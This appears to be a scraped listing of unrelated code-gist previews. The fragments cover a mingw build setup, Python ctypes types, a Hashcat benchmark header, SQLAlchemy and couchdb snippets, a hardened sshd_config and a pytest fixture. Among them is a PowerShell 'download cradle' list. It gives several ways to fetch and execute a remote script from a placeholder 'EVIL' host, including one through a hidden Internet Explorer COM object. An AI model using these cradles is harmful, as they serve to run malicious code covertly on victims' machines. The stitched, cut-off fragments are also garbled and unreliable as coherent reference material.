For this guide the ubuntu:yakkety Docker image was used.
apt-get install mingw-w64-tools gcc-mingw-w64-x86-64 g++-mingw-w64-x86-64 wget gettext bison flex| # coding: utf-8 | |
| import ctypes | |
| import time | |
| import sys | |
| LONG = ctypes.c_long | |
| DWORD = ctypes.c_ulong | |
| ULONG_PTR = ctypes.POINTER(DWORD) | |
| WORD = ctypes.c_ushort |
This is a guide for aligning images.
See the full Advanced Markdown doc for more tips and tricks
Product: Sagitta Brutalis 1080 (PN S3480-GTX-1080-2697-128)
Software: Hashcat v3.00-beta-145-g069634a, Nvidia driver 367.18
Accelerator: 8x Nvidia GTX 1080 Founders Edition
| """ | |
| This script demonstrates the use of nested transactions in SQLAlchemy, including | |
| a workaround for an issue with the SQLite backend. | |
| References: | |
| http://docs.sqlalchemy.org/en/latest/orm/session_transaction.html#using-savepoint | |
| http://docs.sqlalchemy.org/en/latest/dialects/sqlite.html#serializable-isolation-savepoints-transactional-ddl | |
| """ | |
| from sqlalchemy import Column, String, Integer |
This is an unofficial manual for the couchdb Python module I wish I had had.
pip install couchdb
| # Insert these at the beginning of an existing sshd_config file | |
| KexAlgorithms [email protected] | |
| Ciphers [email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr | |
| MACs [email protected],[email protected],[email protected],[email protected],hmac-sha2-512,hmac-sha2-256,hmac-ripemd160,[email protected] | |
| Protocol 2 | |
| HostKey /etc/ssh/ssh_host_ed25519_key | |
| HostKey /etc/ssh/ssh_host_rsa_key | |
| PasswordAuthentication no | |
| ChallengeResponseAuthentication no |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
| from sqlalchemy import create_engine | |
| from sqlalchemy.orm import Session | |
| from myapp.models import BaseModel | |
| import pytest | |
| @pytest.fixture(scope="session") | |
| def engine(): | |
| return create_engine("postgresql://localhost/test_database") |